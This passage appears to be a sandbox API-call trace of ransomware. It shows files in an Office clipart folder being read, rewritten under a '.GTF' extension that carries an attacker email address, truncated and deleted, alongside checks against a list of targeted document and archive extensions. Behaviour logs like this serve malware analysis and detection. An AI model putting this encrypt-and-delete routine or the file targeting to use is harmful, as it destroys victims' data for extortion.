	[0163.862] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x12ee, lpOverlapped=0x0) returned 1
	[0163.864] WriteFile (in: hFile=0x3e0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12f0, lpOverlapped=0x0) returned 1
	[0163.865] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.865] WriteFile (in: hFile=0x3e0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1
	[0163.865] SetEndOfFile (hFile=0x3e0) returned 1
	[0163.865] CloseHandle (hObject=0x3e0) returned 1
	[0163.865] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.865] SetEndOfFile (hFile=0x3dc) returned 1
	[0163.868] CloseHandle (hObject=0x3dc) returned 1
	[0163.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1
	[0163.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.869] lstrlenW (lpString=".doc") returned 4
	[0163.869] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.869] lstrlenW (lpString=".docx") returned 5
	[0163.869] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.869] lstrlenW (lpString=".pdf") returned 4
	[0163.869] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.869] lstrlenW (lpString=".xls") returned 4
	[0163.869] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.869] lstrlenW (lpString=".xlsx") returned 5
	[0163.869] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.869] lstrlenW (lpString=".ppt") returned 4
	[0163.869] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.869] lstrlenW (lpString=".zip") returned 4
	[0163.869] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.869] lstrlenW (lpString=".rar") returned 4
	[0163.869] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.869] lstrlenW (lpString=".bz2") returned 4
	[0163.869] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.870] lstrlenW (lpString=".7z") returned 3
	[0163.870] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString=".dbf") returned 4
	[0163.870] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString=".1cd") returned 4
	[0163.870] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString=".jpg") returned 4
	[0163.870] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString=".doc") returned 4
	[0163.870] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.870] lstrlenW (lpString=".docx") returned 5
	[0163.870] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.870] lstrlenW (lpString=".pdf") returned 4
	[0163.870] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.870] lstrlenW (lpString=".xls") returned 4
	[0163.870] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.870] lstrlenW (lpString=".xlsx") returned 5
	[0163.870] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.870] lstrlenW (lpString=".ppt") returned 4
	[0163.870] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString=".zip") returned 4
	[0163.870] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.870] lstrlenW (lpString=".rar") returned 4
	[0163.870] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.870] lstrlenW (lpString=".bz2") returned 4
	[0163.870] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.870] lstrlenW (lpString=".7z") returned 3
	[0163.870] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.870] lstrlenW (lpString=".dbf") returned 4
	[0163.871] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.871] lstrlenW (lpString=".1cd") returned 4
	[0163.871] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0163.871] lstrlenW (lpString=".jpg") returned 4
	[0163.871] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.871] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.871] lstrlenW (lpString="FINCL_02.MID") returned 12
	[0163.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0163.872] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9318) returned 1
	[0163.872] CloseHandle (hObject=0x3dc) returned 1
	[0163.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220
	[0163.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0163.873] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.873] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0163.873] GetLastError () returned 0x0
	[0163.873] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2466, lpOverlapped=0x0) returned 1
	[0163.878] WriteFile (in: hFile=0x3e0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2470, lpOverlapped=0x0) returned 1
	[0163.879] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.879] WriteFile (in: hFile=0x3e0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.879] SetEndOfFile (hFile=0x3e0) returned 1
	[0163.879] CloseHandle (hObject=0x3e0) returned 1
	[0163.879] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.879] SetEndOfFile (hFile=0x3dc) returned 1
	[0163.882] CloseHandle (hObject=0x3dc) returned 1
	[0163.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1
	[0163.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.884] lstrlenW (lpString=".doc") returned 4
	[0163.884] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.884] lstrlenW (lpString=".docx") returned 5
	[0163.884] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0163.884] lstrlenW (lpString=".pdf") returned 4
	[0163.884] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.884] lstrlenW (lpString=".xls") returned 4
	[0163.884] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.884] lstrlenW (lpString=".xlsx") returned 5
	[0163.884] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0163.884] lstrlenW (lpString=".ppt") returned 4
	[0163.884] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.884] lstrlenW (lpString=".zip") returned 4
	[0163.884] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.884] lstrlenW (lpString=".rar") returned 4
	[0163.884] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.884] lstrlenW (lpString=".bz2") returned 4
	[0163.884] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.884] lstrlenW (lpString=".7z") returned 3
	[0163.884] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString=".dbf") returned 4
	[0163.885] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString=".1cd") returned 4
	[0163.885] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString=".jpg") returned 4
	[0163.885] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString=".doc") returned 4
	[0163.885] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.885] lstrlenW (lpString=".docx") returned 5
	[0163.885] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0163.885] lstrlenW (lpString=".pdf") returned 4
	[0163.885] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.885] lstrlenW (lpString=".xls") returned 4
	[0163.885] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.885] lstrlenW (lpString=".xlsx") returned 5
	[0163.885] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0163.885] lstrlenW (lpString=".ppt") returned 4
	[0163.885] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString=".zip") returned 4
	[0163.885] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.885] lstrlenW (lpString=".rar") returned 4
	[0163.885] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.885] lstrlenW (lpString=".bz2") returned 4
	[0163.885] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.885] lstrlenW (lpString=".7z") returned 3
	[0163.885] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.885] lstrlenW (lpString=".dbf") returned 4
	[0163.885] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.886] lstrlenW (lpString=".1cd") returned 4
	[0163.886] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0163.886] lstrlenW (lpString=".jpg") returned 4
	[0163.886] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.886] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.886] lstrlenW (lpString="GRDEN_01.MID") returned 12
	[0163.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0163.895] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7567) returned 1
	[0163.895] CloseHandle (hObject=0x534) returned 1
	[0163.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220
	[0163.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0163.895] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.896] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.896] GetLastError () returned 0x0
	[0163.896] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0163.898] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0163.899] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.899] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.899] SetEndOfFile (hFile=0x544) returned 1
	[0163.899] CloseHandle (hObject=0x544) returned 1
	[0163.899] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.899] SetEndOfFile (hFile=0x534) returned 1
	[0163.902] CloseHandle (hObject=0x534) returned 1
	[0163.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1
	[0163.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString=".doc") returned 4
	[0163.903] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.903] lstrlenW (lpString=".docx") returned 5
	[0163.903] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.903] lstrlenW (lpString=".pdf") returned 4
	[0163.903] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.903] lstrlenW (lpString=".xls") returned 4
	[0163.903] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.903] lstrlenW (lpString=".xlsx") returned 5
	[0163.903] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.903] lstrlenW (lpString=".ppt") returned 4
	[0163.903] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString=".zip") returned 4
	[0163.903] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.903] lstrlenW (lpString=".rar") returned 4
	[0163.903] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.903] lstrlenW (lpString=".bz2") returned 4
	[0163.903] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.903] lstrlenW (lpString=".7z") returned 3
	[0163.903] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString=".dbf") returned 4
	[0163.903] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString=".1cd") returned 4
	[0163.903] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString=".jpg") returned 4
	[0163.903] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.903] lstrlenW (lpString=".doc") returned 4
	[0163.903] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.903] lstrlenW (lpString=".docx") returned 5
	[0163.903] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.904] lstrlenW (lpString=".pdf") returned 4
	[0163.904] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.904] lstrlenW (lpString=".xls") returned 4
	[0163.904] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.904] lstrlenW (lpString=".xlsx") returned 5
	[0163.904] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.904] lstrlenW (lpString=".ppt") returned 4
	[0163.904] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.904] lstrlenW (lpString=".zip") returned 4
	[0163.904] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.904] lstrlenW (lpString=".rar") returned 4
	[0163.904] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.904] lstrlenW (lpString=".bz2") returned 4
	[0163.904] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.904] lstrlenW (lpString=".7z") returned 3
	[0163.904] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.904] lstrlenW (lpString=".dbf") returned 4
	[0163.904] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.904] lstrlenW (lpString=".1cd") returned 4
	[0163.904] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0163.904] lstrlenW (lpString=".jpg") returned 4
	[0163.904] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.904] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.904] lstrlenW (lpString="HTECH_01.MID") returned 12
	[0163.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0163.905] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7178) returned 1
	[0163.905] CloseHandle (hObject=0x534) returned 1
	[0163.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220
	[0163.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0163.906] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.906] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
